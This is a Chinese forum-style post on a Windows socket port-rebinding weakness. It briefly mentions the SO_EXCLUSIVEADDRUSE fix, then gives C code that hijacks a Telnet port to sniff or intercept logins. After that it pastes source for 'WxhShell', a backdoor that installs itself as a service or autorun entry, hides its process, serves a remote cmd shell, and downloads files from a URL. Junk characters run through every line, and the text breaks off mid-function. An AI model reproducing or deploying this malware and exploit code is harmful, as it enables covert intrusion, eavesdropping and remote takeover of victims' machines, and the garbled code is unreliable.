在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@)B_e*6>' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4/b#$o<I? ~X/T6(n$ saddr.sin_family = AF_INET;
y4') !e ?4_;9MkN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^:BRbp37i (ZYOm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hY!G>d{J !s$fqn
6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V4 7Fp ]#nAld1cmy 这意味着什么?意味着可以进行如下的攻击:
1na[=Q2 E]
[DVY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a
<3oyY' wP%;9y2B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<:?&}'aA f5N~K> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
NoMC*",b> \vI_%su1N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|l9AgwDg %UmE=V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bnlL-]]9z R~`Y6>o~9: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
gVGq G 6][@q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
z#y<QH -I -wdyDr #include
-$7Jc=:> #include
/<mc~S7 #include
\sk,3b-&' #include
[-l^,,E DWORD WINAPI ClientThread(LPVOID lpParam);
Uc4r int main()
J(Bn
n {
eu#| | WORD wVersionRequested;
m'pihFR:f DWORD ret;
\ .:CL?m# WSADATA wsaData;
F?UL0Q|u v BOOL val;
BjA|H SOCKADDR_IN saddr;
!%Ak15o SOCKADDR_IN scaddr;
IflpM ] int err;
/fX]Yu SOCKET s;
$1axZ~8sS SOCKET sc;
O
@w= int caddsize;
l6i 2!&8P% HANDLE mt;
/(q* DWORD tid;
2]@U$E='s wVersionRequested = MAKEWORD( 2, 2 );
z
>pq<}R6 err = WSAStartup( wVersionRequested, &wsaData );
U9JqZ! if ( err != 0 ) {
m_pK'jc printf("error!WSAStartup failed!\n");
@FQ@*XD return -1;
;>PV]0bOm> }
zIQ\_> saddr.sin_family = AF_INET;
iB\d`NUf ]Y3ALQr! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>6@UjGj54 b&LhydaJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=/zQJzN saddr.sin_port = htons(23);
YXmLd'F^3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f`?|A
{
U8moVj8w1 printf("error!socket failed!\n");
`aCcTs7~]p return -1;
Q[}mH: w }
=14p Ee val = TRUE;
=~R0U //SO_REUSEADDR选项就是可以实现端口重绑定的
oL<^m?-u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&R 0BuFL8 {
QII>XJ9 printf("error!setsockopt failed!\n");
$Q?UyEi return -1;
Lg'z%pi }
Q 5Ln'La$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d~.#K S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
A0'Yfuie //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b+{yF c^m}ep\F5L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
NWTsL OIm {
5Eq_L ret=GetLastError();
U2G\GU1 X printf("error!bind failed!\n");
`AYHCn return -1;
HIF.;ImG^ }
{~Phc 2z listen(s,2);
<}|+2f233+ while(1)
u\6:Txqq {
PyIIdTm caddsize = sizeof(scaddr);
IuRKj8J)o //接受连接请求
CA{c-kG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T,k`WR if(sc!=INVALID_SOCKET)
q'PA2a: {
w@hm>6j mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vh((HS-) if(mt==NULL)
K !`t EW[ {
N8:vn0ww printf("Thread Creat Failed!\n");
Cfa?LgSz break;
KpSHf9!&[ }
ni9/7 }
U*)pUJ{&t CloseHandle(mt);
hMi`n6m }
^ng?+X>mP closesocket(s);
e5MX5 T^ WSACleanup();
g&v2=&aj return 0;
y+@7k3" }
=T!M` DWORD WINAPI ClientThread(LPVOID lpParam)
Uh*V>HA# {
B1 'Ds SOCKET ss = (SOCKET)lpParam;
&g|-3)A SOCKET sc;
3.
Kh unsigned char buf[4096];
,LG6py&aT SOCKADDR_IN saddr;
O"^KX5 long num;
gR%fv DWORD val;
5r@x$* >e DWORD ret;
"(/.3`g //如果是隐藏端口应用的话,可以在此处加一些判断
@ 3FTf"#Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
![ Fb~Egc saddr.sin_family = AF_INET;
7?e*b(vd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q0$}MB6 saddr.sin_port = htons(23);
e;!si>N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g;vG6!;E\ {
jeC3}BL} printf("error!socket failed!\n");
DjtUX>e return -1;
nT9B?P> }
&Zd!|u val = 100;
8IbHDDS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gTm[ <Y {
v 6Tz7 ret = GetLastError();
!\2Xr{f return -1;
8h}o5B }
7@5}WNr if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9>%ti&_-jt {
GVe[)R ret = GetLastError();
u1(`^^Ml return -1;
y?;&(Tcbt8 }
zJOL\J' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
f8!*4Bw {
le`fRq8f& printf("error!socket connect failed!\n");
N
=)9O closesocket(sc);
89@gYA"Su closesocket(ss);
Q"S;r1 D return -1;
Az{Z=:(0 }
g&) XaF[! while(1)
G)G5eXXX {
?x=;?7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LDx1@a|83 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ak^g#^c* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
):31!IC num = recv(ss,buf,4096,0);
b+9M? k" if(num>0)
I4,C-D send(sc,buf,num,0);
+\2{{~_z else if(num==0)
N\BB8<F break;
?V3e;n num = recv(sc,buf,4096,0);
]^$3S if(num>0)
3a_~18W send(ss,buf,num,0);
jIaAx_ else if(num==0)
TDq(%IW break;
S2'./!3yv }
.k|8nNj closesocket(ss);
?zM]p"M closesocket(sc);
R#DnV[!\ return 0 ;
U@Y0 z.Y }
7='lu;=, M3!A?!BU :=C-P7
==========================================================
<!EdND = q ^Un,h64t 下边附上一个代码,,WXhSHELL
#41~`vq3 8XIG<Nc ==========================================================
&Rdg07e;> HN]roSt~ #include "stdafx.h"
h(l4\) Lk9X>`b#B #include <stdio.h>
w9Bbvr6 #include <string.h>
SvLI%>B=9 #include <windows.h>
7j| ^ZuI+ #include <winsock2.h>
* G!C 'w\$ #include <winsvc.h>
6 GqR]KD #include <urlmon.h>
y@Z@ eK3 $aDAD4mmm #pragma comment (lib, "Ws2_32.lib")
\R\?`8Orz #pragma comment (lib, "urlmon.lib")
Ii FeO PUZH[-:c #define MAX_USER 100 // 最大客户端连接数
V(3^ev/ #define BUF_SOCK 200 // sock buffer
>Z r f}H #define KEY_BUFF 255 // 输入 buffer
fP# !ywgr% +"Flu.+[' #define REBOOT 0 // 重启
""q76cx #define SHUTDOWN 1 // 关机
589hfET Dukvi;\ #define DEF_PORT 5000 // 监听端口
z3x/Y/X$S !tJQ75Hwv #define REG_LEN 16 // 注册表键长度
'_oWpzpe #define SVC_LEN 80 // NT服务名长度
%? -E)n[ 0h=NbLr|S- // 从dll定义API
0}H7Xdkp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
c&me=WD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d5jZ? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*oZ]k`-!8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(dmLEt ?gD^K,A Hd // wxhshell配置信息
3Z/_}5%" struct WSCFG {
Pfi|RTX$'* int ws_port; // 监听端口
`Y]t*`
e| char ws_passstr[REG_LEN]; // 口令
$FXlH;_7 int ws_autoins; // 安装标记, 1=yes 0=no
W>W b|W char ws_regname[REG_LEN]; // 注册表键名
HueGARS char ws_svcname[REG_LEN]; // 服务名
;+C2P@M char ws_svcdisp[SVC_LEN]; // 服务显示名
In13crr4! char ws_svcdesc[SVC_LEN]; // 服务描述信息
x#
M MrV&M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
m' HAt~ int ws_downexe; // 下载执行标记, 1=yes 0=no
c[VVCN8dA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;\a?xtIy char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,Y9bXC8+dU qHVZsZ };
Sq22] &`x1_*l // default Wxhshell configuration
hvW FzT5 struct WSCFG wscfg={DEF_PORT,
lEAf\T7 "xuhuanlingzhe",
8_$[SV$q 1,
Ck1{\=t "Wxhshell",
iepolO= "Wxhshell",
k0r93xa "WxhShell Service",
+q*WY*gX "Wrsky Windows CmdShell Service",
f[1 s4Dp3- "Please Input Your Password: ",
9!} ?}`'_ 1,
YOOcHo.F "
http://www.wrsky.com/wxhshell.exe",
(:er~Y} "Wxhshell.exe"
y[`>,?ns5 };
N$ oQK(
NW]zMU{c // 消息定义模块
'k'"+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GY`mF1b char *msg_ws_prompt="\n\r? for help\n\r#>";
~cr##Ff5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2o)8 'Lp char *msg_ws_ext="\n\rExit.";
d)>b/0CZ char *msg_ws_end="\n\rQuit.";
A_8Xhem${ char *msg_ws_boot="\n\rReboot...";
Ql#y7HW char *msg_ws_poff="\n\rShutdown...";
@tT2o@2Y^ char *msg_ws_down="\n\rSave to ";
f?JP=j ?kM2/a"{G char *msg_ws_err="\n\rErr!";
4yK{(!&i+ char *msg_ws_ok="\n\rOK!";
+L0Jje>Az {<cL@W char ExeFile[MAX_PATH];
PPAcEXsIu int nUser = 0;
mP*Ct6628n HANDLE handles[MAX_USER];
NI
r"i2 int OsIsNt;
(zr2b d H N"pNNs SERVICE_STATUS serviceStatus;
"f~*4g SERVICE_STATUS_HANDLE hServiceStatusHandle;
D?.H|% Y~TD)c= // 函数声明
'2z1$zst,# int Install(void);
[_HY6gr int Uninstall(void);
@ /.w% int DownloadFile(char *sURL, SOCKET wsh);
Y;)l int Boot(int flag);
P+L#p(K void HideProc(void);
gCV+amP int GetOsVer(void);
d%Ls'[Y^_0 int Wxhshell(SOCKET wsl);
c/lT S void TalkWithClient(void *cs);
T{So2@_& int CmdShell(SOCKET sock);
iV5S[uy72. int StartFromService(void);
1SF8D`3 int StartWxhshell(LPSTR lpCmdLine);
ni$;"RGC "|Gr3 sD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;,lFocGv VOID WINAPI NTServiceHandler( DWORD fdwControl );
Y{d-k1?s5 RNo~}# // 数据结构和表定义
8,@0~2fz# SERVICE_TABLE_ENTRY DispatchTable[] =
+mPVI {
5pU/X.lc {wscfg.ws_svcname, NTServiceMain},
6e>P!bo {NULL, NULL}
@?JFqwq! };
6$)FQ
U ]T<tkvcI // 自我安装
M3G ecjR int Install(void)
;w7s>(ITZ {
+!Q*ie+q char svExeFile[MAX_PATH];
_v[gJ(F HKEY key;
<2af&-EGs strcpy(svExeFile,ExeFile);
7NvnCs 3a?|}zr4 // 如果是win9x系统,修改注册表设为自启动
WF_v>g:g if(!OsIsNt) {
gNJdP!(t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!bIE%cq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EQtY b"_ RegCloseKey(key);
5?Ukf$)x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a9u2Wlz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I5@8=rFk RegCloseKey(key);
J#gG*( return 0;
r=HL!XFk }
bU \T }
G<-<>)zO! }
Hqtv`3g else {
)(9[> _+40 ^z`d2it // 如果是NT以上系统,安装为系统服务
>,ABE2t5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[<|$If99\ if (schSCManager!=0)
q/^?rd {
LGK&&srJs SC_HANDLE schService = CreateService
?bPW*A82{q (
]!]B7|JFJ schSCManager,
)Ma/]eZ^I wscfg.ws_svcname,
'|<r[K wscfg.ws_svcdisp,
.}5qi;CA SERVICE_ALL_ACCESS,
/}/GK|tj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
BNgm+1?L SERVICE_AUTO_START,
U[? f@.& SERVICE_ERROR_NORMAL,
0|<9eD\I= svExeFile,
naM~>N NULL,
u#y#(1
= NULL,
S17;;w0 NULL,
9}_' NULL,
0(>3L : NULL
)HcLpoEi );
{+]tx46$ if (schService!=0)
W^7yh&@lU {
&>!-67 CloseServiceHandle(schService);
f@gvDo]Y CloseServiceHandle(schSCManager);
b0/YX@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
@?jtB strcat(svExeFile,wscfg.ws_svcname);
~0h@p4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2OpkRFFa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Be9,m!on RegCloseKey(key);
xs&xcRR" return 0;
m[z$y }
(I`lv=R"j }
B<ncOe CloseServiceHandle(schSCManager);
:`4F0 }
vN:!{)~z }
4JyA+OD4 { G3 |x%/Fbp return 1;
,!, tU7-H }
`kE7PXqa w+r).PS}C // 自我卸载
D2GF4%| int Uninstall(void)
} '?qUy3x {
8A5/jqnqt HKEY key;
x4/{XRQ )dFPfu&HL if(!OsIsNt) {
3 yw$<lm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
CiGXyhh RegDeleteValue(key,wscfg.ws_regname);
MsBm0r`a RegCloseKey(key);
IMncl=1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r{B28'f[ RegDeleteValue(key,wscfg.ws_regname);
2;j<{' RegCloseKey(key);
9 *uK]/c return 0;
w3 kkam" }
A*vuS Qt( }
mP=[h
|a$r }
xjSzQ|k- else {
4"H*hKp rd<43 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[V>s]c<4`o if (schSCManager!=0)
& Zn`2% {
o='A1 P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^^zj4 }On? if (schService!=0)
* nFzfV {
e(N},s:_ if(DeleteService(schService)!=0) {
BU4IN$d0Po CloseServiceHandle(schService);
"GR*d{ CloseServiceHandle(schSCManager);
qpMcVJL return 0;
"*t0
t }
Mk0x#-F CloseServiceHandle(schService);
'6})L }
7{(UiQbf CloseServiceHandle(schSCManager);
] jY^*o[ }
-8Hc M\b }
z9g ++]rkJ U[|5:qWs return 1;
3tCTPZy }
&F/-%l! Q"B8l[ // 从指定url下载文件
6^t#sEff] int DownloadFile(char *sURL, SOCKET wsh)
6%h%h: e {
O_7}H) HRESULT hr;
Vfga%K%l F char seps[]= "/";
y631;dU char *token;
934j5D char *file;
+7o1&D*v char myURL[MAX_PATH];
P3]K'*Dyd char myFILE[MAX_PATH];
c|JQ0] K NmXRA(m strcpy(myURL,sURL);
&A*E)T#># token=strtok(myURL,seps);
%\(-<aT while(token!=NULL)
]{q=9DczG( {
Nf<f}` file=token;
Lui6;NY token=strtok(NULL,seps);
1Ml<> }
+uSp3gE" CQNMCYjg(R GetCurrentDirectory(MAX_PATH,myFILE);
<tBT?#C9+ strcat(myFILE, "\\");
Z5n-3h!+ED strcat(myFILE, file);
w|]Tt=" send(wsh,myFILE,strlen(myFILE),0);
*;9H \% send(wsh,"...",3,0);
-3i(N.)<; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
AWi>(wk< if(hr==S_OK)
Xz^k.4 Y{4 return 0;
iN.
GC^l else
5I,NvHD4 return 1;
tM;cvc`/ A_\Jb}J1< }
xGQP*nZ W4&8 // 系统电源模块
k}F7Jw#. int Boot(int flag)
;Z"MO@9: {
f|M^UHt8* HANDLE hToken;
K}cA%Y TOKEN_PRIVILEGES tkp;
g-wE(L !.X/(R7J if(OsIsNt) {
C4$P#DZT^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3vcyes-U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Qw5(5W[L tkp.PrivilegeCount = 1;
_hyqHvP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0RtZTCGO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
MKvmzLh$) if(flag==REBOOT) {
c5$DHT@N" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(J %4}Dm return 0;
]
1pIIX} }
V\x'w*FP else {
2,q*8=?{6P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
oA[`|
ji return 0;
:0Jn`Ds4o }
gk 6R# }
X4S|JT else {
\Db;7wh if(flag==REBOOT) {
&hkD"GGe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ed/B.SY return 0;
HBR/" m }
Z2m^yRQ( else {
U5N |2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:AFW= e@< return 0;
k^8;3#xG }
1Z)P.9c }
hWbu
Z% { 22ey`@`h return 1;
y\;oZ]J }
^i#0aq2} #*qV kPX // win9x进程隐藏模块
6Aqv*<1=62 void HideProc(void)
nVWU\$Ft {
eA2*}"W 0J'Cx&Rg HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Xe\}(O if ( hKernel != NULL )
zeQ~'ao< {
[&*irk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^_Lnqk6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9C,gJp}P FreeLibrary(hKernel);
NpZ'pBl }
9ThsR&h3 QxE%C return;
ty~Sf-Pri }
D*~Q;q> fJ.=,9:< // 获取操作系统版本
AJLzLbV+ int GetOsVer(void)
Z{B [r; {
yC5>k;/6#K OSVERSIONINFO winfo;
6wB
!dl winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ef{Hj[8 GetVersionEx(&winfo);
*vRHF1)L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.Qn#wub return 1;
3{co.+ else
rwUhNth-Qh return 0;
^0>^5l'n }
T+P{,,a/] 4`#%<G // 客户端句柄模块
eyDI>7W int Wxhshell(SOCKET wsl)
hr.mzQd {
.aa7*e SOCKET wsh;
DL~!
^fx struct sockaddr_in client;
0K.$C~C DWORD myID;
"gI-S[ @(a~p while(nUser<MAX_USER)
M<Z#4Gg#4 {
8M!9gvcaO int nSize=sizeof(client);
$<Gt^3e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
EB+4]MsD if(wsh==INVALID_SOCKET) return 1;
u"v$[8 "[["naa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9mMQ if(handles[nUser]==0)
C'A
D[`p closesocket(wsh);
t"%~r3{ else
AM!P?${a nUser++;
av(qV$2 }
7eM6 B#rI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
EMH-[EBx EiM\`"o return 0;
~8k`~t! }
]A-LgDsS jK6dI
7h // 关闭 socket
?P7QAolrr void CloseIt(SOCKET wsh)
L67yL( d6a {
H/x9w[\+[ closesocket(wsh);
QrmGrRH nUser--;
lp$,`Uz` ExitThread(0);
6tVp%@ }
e
jk?If 07 :LX!T& // 客户端请求句柄
o%]b\Vl6
void TalkWithClient(void *cs)
j
yp.2c {
DP*V|) Sb?v5 SOCKET wsh=(SOCKET)cs;
K~UT@,CS60 char pwd[SVC_LEN];
?j!/Hc/b4 char cmd[KEY_BUFF];
!JDyv\i} char chr[1];
I
%1P:- int i,j;
CD?b.Cxai 6S%KUFB+e while (nUser < MAX_USER) {
:5^5l H9VdoxKo if(wscfg.ws_passstr) {
?5d[BV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A#~CZQY^$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PL\4\dXB //ZeroMemory(pwd,KEY_BUFF);
}darXtZKkK i=0;
9ys[xOh
WM while(i<SVC_LEN) {
>>-{AR0 `o+J/nc // 设置超时
O'k<4'TC fd_set FdRead;
)u!}`UJ struct timeval TimeOut;
yq[CA`zVN FD_ZERO(&FdRead);
JKYl FD_SET(wsh,&FdRead);
R^I4_ZA TimeOut.tv_sec=8;
]Ah<kq2sk TimeOut.tv_usec=0;
&s.-p_4w^D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r)qow.+& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$I4JKh g fv?#mp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:NwFJc pwd
=chr[0]; P]4u`&
if(chr[0]==0xd || chr[0]==0xa) { 14-uy.0[
pwd=0; @DR?^
q p
break; It'PWqZtG
} :,^x?'HK
i++; Rwmr [g
} w 01\KV
:(jovse\
// 如果是非法用户,关闭 socket NTM.Vj
-_h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wc##.qU
} Dm;aTe
8`b_,(\ N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ =O;Lz$x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :bp8S@
bb`DyUy ^+
while(1) { QN~9O^
-Ze2]^#dl
ZeroMemory(cmd,KEY_BUFF); -S$Y0FDV
)Oj%3
// 自动支持客户端 telnet标准 pEGHW;
j=0; ^zS|O]Tx
while(j<KEY_BUFF) { ~ln96*)M;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P.t7_v>
cmd[j]=chr[0]; >RmL0d#B
if(chr[0]==0xa || chr[0]==0xd) { c$%I^f}'
cmd[j]=0; 6k\8ulHw
break; 7LW%:0
} $xj>j
j++; euh rEjwkH
} \" =@uqar2
`Yu4h+T
// 下载文件 8bEii1EM
if(strstr(cmd,"http://")) { { r8H5X
send(wsh,msg_ws_down,strlen(msg_ws_down),0); oJ}$ /_
if(DownloadFile(cmd,wsh)) /u'M7R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;(BMO,(
else O#D
N3yu?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {D 8[pG%z
} V0$:t^^
else { -+|{#cz
'%A*Z,f
switch(cmd[0]) { V)r6bb{^
%?:eURQ
// 帮助 =g^JJpS
case '?': { {B6tGLt#bf
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `OyYo^+D|.
break; Rwz (20n\^
} Q(YQ$i"S
// 安装 2Yd;#i)
case 'i': { {{4Sgb
if(Install()) {W# VUB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]o#~:S=
else Jro%zZle
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -u'BK@;
break; V IU4QEW`x
} RV+0C&0ff
// 卸载 `zRm
"G
case 'r': { > 1&_-
if(Uninstall()) 6m{1im=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =arrp:
else 'd
6z^Z6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A@ lY{e
break; Jq?"?d|:
} 0N G<uZ
// 显示 wxhshell 所在路径 2l!* o7
case 'p': { zINziAp{
char svExeFile[MAX_PATH]; {B
lM<
strcpy(svExeFile,"\n\r"); G^Yg[*bJ^$
strcat(svExeFile,ExeFile); z@em1W0?Z
send(wsh,svExeFile,strlen(svExeFile),0); d_}q.%*
break; 2r&T.
} ;v1&Rs
// 重启 6>B_ojj:
case 'b': { Vam4/6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1
9C=' TMS
if(Boot(REBOOT)) VpkkiN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\"Kur*O
else { G+xdh
closesocket(wsh); )`.'QW
ExitThread(0); qB IKJ
} ?KfV>.()
break; uCNi&.
} ,] ,dOIOwn
// 关机 9W<I~
case 'd': { >w"k:O17
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CwVORf,uA
if(Boot(SHUTDOWN)) 42: 6=\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4 ON
else { gNG_,+=!
closesocket(wsh); =9JKg4I6
ExitThread(0); 5 J9,/M0
} )9QeVf
break; k9<P]%
} ]2P*Z6Az
// 获取shell L.@o
case 's': { .-g++f(_i
CmdShell(wsh); KDX34Fr1
closesocket(wsh); \{ui{8+G
ExitThread(0); nZ 0rxx[V?
break; U&\8~h
} <X_I`
// 退出 3o=K?eOdg
case 'x': { pkL&j<{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yw\PmRL"p
CloseIt(wsh); fc#zhp5bX
break; &u'$q
} f 6h!wx
// 离开 [nam H a
case 'q': { X_eh+>D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t:G67^<3
closesocket(wsh); C"P40VQoo
WSACleanup(); ,:QzF"MV
exit(1); 'bXm,Ed
break; 1c}
%_Z/
} A%pBvULH
} #X(KW&;m
} .;0?r9
IE-c^'W=}m
// 提示信息 I(*4N^9++
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2=TQU33#
} ni@N/Z?!pA
} }0P5~]S<5A
i<*{Z~B
return; aAr gKM f
} v/E_A3Ay&
;9r `P_r
// shell模块句柄 2%'iTXF
int CmdShell(SOCKET sock) Ck|3DiRQ
{ !kl9X-IiI
STARTUPINFO si; SWYIQ7*
ZeroMemory(&si,sizeof(si)); ;:[!I ]E0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2?9SM@nAY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EVW{!\8[
PROCESS_INFORMATION ProcessInfo; $Xf gY1S
char cmdline[]="cmd"; 9w Pc03a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B%c):`w8]
return 0; e.<$G'
} oc>ne]_'
SJRiMR_F~
// 自身启动模式 f<V#Yc(U}
int StartFromService(void) :1eJc2o
{ 5m`@ 4%)zp
typedef struct WdGjvs
{ ]F5qXF5
DWORD ExitStatus; Jbud_.h9
DWORD PebBaseAddress; J3oj}M*
DWORD AffinityMask; DL5`A?/
DWORD BasePriority; rTiW
